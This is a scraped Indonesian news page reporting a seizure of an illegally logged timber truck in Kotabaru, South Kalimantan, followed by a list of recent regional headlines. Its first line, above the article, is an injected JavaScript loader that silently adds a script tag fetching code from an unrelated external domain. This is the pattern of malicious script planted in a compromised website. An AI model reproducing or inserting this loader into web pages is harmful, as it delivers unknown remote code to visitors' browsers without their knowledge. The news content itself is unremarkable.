(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Ini Sudah Penangkapan Kelima di Tahun 2017


MARTAPURA, Penangkapan truk fuso bermuatan kayu tanpa dilengkapi dokumen, dan diduga hasil pembalakan liar di kawasan hutan lindung di Kecamatan Sungai Durian, Kabupaten Kotabaru, Jumat (20/10) ini bukan yang pertama dilakukan jajaran Polisi Kehutanan (Polhut) Dinas Kehutanan Provinsi Kalsel.

Menurut Pantja Sansaka, Kasi Perlindungan Hutan pada Dinas Kehutanan Provinsi Kalsel, menangkap basah truk bermuatan kayu sebanyak 22 kubik ini sudah yang kalikelima dilakukan di tahun 2017 ini.

Sebelumnya, ujar Pantja, petugas juga mengamankan tiga  truk dan satu mobil pik up pengangkut kayu tanpa kelengkapan dokumen dan diduga hasil penebangan liar di kawasan hutan lindung. Yakni; di Kabupaten Banjar satu truk, dua truk di Kabupaten Tanah Bumbu, dan mobil bak terbuka pengangkut ulin diamankan di Kabupaten Tanah Laut. (Baca: Truk Fuso Bermuatan 22 Kubik Kayu Tanpa Dokumen Diamankan).

“Kalau satu truk rata-rata mengangkut 5 kubik kayu, berarti ada 15 kubik kayu ilegal yang telah diamankan dari 3 truk. Ditambah yang baru ini sebanyak 22 kubik,” ujar Pantja Sasaka.

Diakuinya, dibanding era tahun 2000-an, kasus penangkapan kayu yang diduga hasil pembalakan liar cenderung berkurang. Menurutnya, penurunan kasus penangkapan illegal logging sedikit banyak dipengaruhi luas kawasan hutan lindung yang sebagian sudah berganti status, dari lindung menjadi hak penggunaan lain (HPL).

Namun begitu, ujar Pantja, upaya menekan praktik pembalakan liar di kawasan hutan lindung terus dilakukan. Salah satunya dengan patroli gabungan saban pekan antara Polhut Dinas Kehutanan dan Kelompok Pengelola Hutan (KPH) yang ada di kabupaten.

“Sampai saat ini ada 8 KPH se-Kalsel dengan jumlah personil sekitar 120 orang. Dan jika dibanding total kawasan hutan lindung Kalsel seluas 1,7 juta hektare, jumlah petugas, baik polhut maupun petugas KPH masih sangat kurang. Karena itu pula, patrol gabungan hanya dapat dilakukan satu pekan sekali,” ujar Pantja. (rudiyanto)


Desy Arfianty

Recent Posts

Diduga Buat Akta Palsu, Notaris Senior di Bekasi Dilaporkan ke Polda Metro Jaya

Singapore Exchange Kecolongan, Data Palsu Digunakan untuk IPO Saham Read More

38 menit ago

Selewengkan Dana Simpan Pinjam Perempuan UPK Kecamatan Simpur, Marwan Diadili

KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus dugaan korupsi dari Kabupaten Hulu Sungai Selatan (HSS), Provinsi Kalimantan… Read More

2 jam ago

DJBC Kalbagsel Lepas Ekspor 2.016 Kg Belut Hidup Kalsel ke Tiongkok

KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More

6 jam ago

Optimalkan Pengelolaan Website, Ini yang dilakukan Diskominfosandi HSU

KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More

7 jam ago

Lima Rumah Hangus di Guntung Paikat, Diduga Kabel Listrik Sudah Tua

KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More

7 jam ago

750 Formasi CPNS dan PPPK 2024 Pemkab Balangan, Seleksi Berjalan Sesuai Jadwal

KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More

11 jam ago

This website uses cookies.